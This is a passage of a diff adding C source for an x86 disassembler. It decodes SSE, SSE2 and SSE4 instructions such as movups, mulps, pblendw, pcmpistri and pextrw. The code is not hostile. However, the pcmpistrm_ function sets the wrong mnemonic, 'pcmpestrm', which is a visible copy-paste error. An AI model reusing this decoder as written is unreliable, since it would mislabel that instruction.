#endif + GV.MMX_ = 1; + ExGx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 10 + * ==================================================================== */ +void __bea_callspec__ movups_VW(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========= 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movupd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movups "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + + +/* ==================================================================== + * 0x 0f 11 + * ==================================================================== */ +void __bea_callspec__ movups_WV(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg1qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsd "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========= 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg1dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movss "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg1dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movupd "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg1dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movups "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 3a 42 + * ==================================================================== */ +void __bea_callspec__ mpsadbw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+SAD_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mpsadbw "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 59 + * ==================================================================== */ +void __bea_callspec__ mulps_VW(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mulsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mulss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mulpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mulps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 56 + * ==================================================================== */ +void __bea_callspec__ orps_VW(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "orpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "orps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 2b + * ==================================================================== */ +void __bea_callspec__ packusdw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packusdw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f d4 + * ==================================================================== */ +void __bea_callspec__ paddq_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+SIMD128bits; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddq "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f e0 + * ==================================================================== */ +void __bea_callspec__ pavgb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pavgb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pavgb "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f e3 + * ==================================================================== */ +void __bea_callspec__ pavgw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pavgw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pavgw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 3a 0f + * ==================================================================== */ +void __bea_callspec__ palignr_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "palignr "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "palignr "); + #endif + GV.ImmediatSize = 8; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } +} + + +/* ==================================================================== + * 0x 0f 38 10 + * ==================================================================== */ +void __bea_callspec__ pblendvb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_BLENDING_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pblendvb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pblendvb "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 3a 0e + * ==================================================================== */ +void __bea_callspec__ pblendw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+SAD_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pblendw "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 38 29 + * ==================================================================== */ +void __bea_callspec__ pcmpeqq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_EQUALITY; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 3a 61 + * ==================================================================== */ +void __bea_callspec__ pcmpestri_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpestri "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 3a 60 + * ==================================================================== */ +void __bea_callspec__ pcmpestrm_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpestrm "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 3a 63 + * ==================================================================== */ +void __bea_callspec__ pcmpistri_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpistri "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 3a 62 + * ==================================================================== */ +void __bea_callspec__ pcmpistrm_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpestrm "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 38 37 + * ==================================================================== */ +void __bea_callspec__ pcmpgtq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 3a 14 + * ==================================================================== */ +void __bea_callspec__ pextrb_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+INSERTION_EXTRACTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrb "); + #endif + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + if (GV.MOD_== 0x3) { + GV.MemDecoration = Arg1dword; + } + else { + GV.MemDecoration = Arg1byte; + } + GV.ImmediatSize = 8; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 3a 16 + * ==================================================================== */ +void __bea_callspec__ pextrd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+INSERTION_EXTRACTION; + if (GV.REX.W_ == 0x1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrq "); + #endif + GV.MemDecoration = Arg1qword; + GV.OperandSize = 64; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrd "); + #endif + GV.MemDecoration = Arg1dword; + } + GV.ImmediatSize = 8; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + +/* ==================================================================== + * 0x 0f c5 + * ==================================================================== */ +void __bea_callspec__ pextrw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrw "); + #endif + GV.MemDecoration = Arg2dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrw "); + #endif + GV.MemDecoration = Arg2dqword; + GV.ImmediatSize = 8; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MMX_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + +} + +/* ==================================================================== + * 0x 0f 3a 15 + * ==================================================================== */ +void __bea_callspec__ pextrw2_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+INSERTION_EXTRACTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrw "); + #endif + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + if (GV.MOD_== 0x3) { + 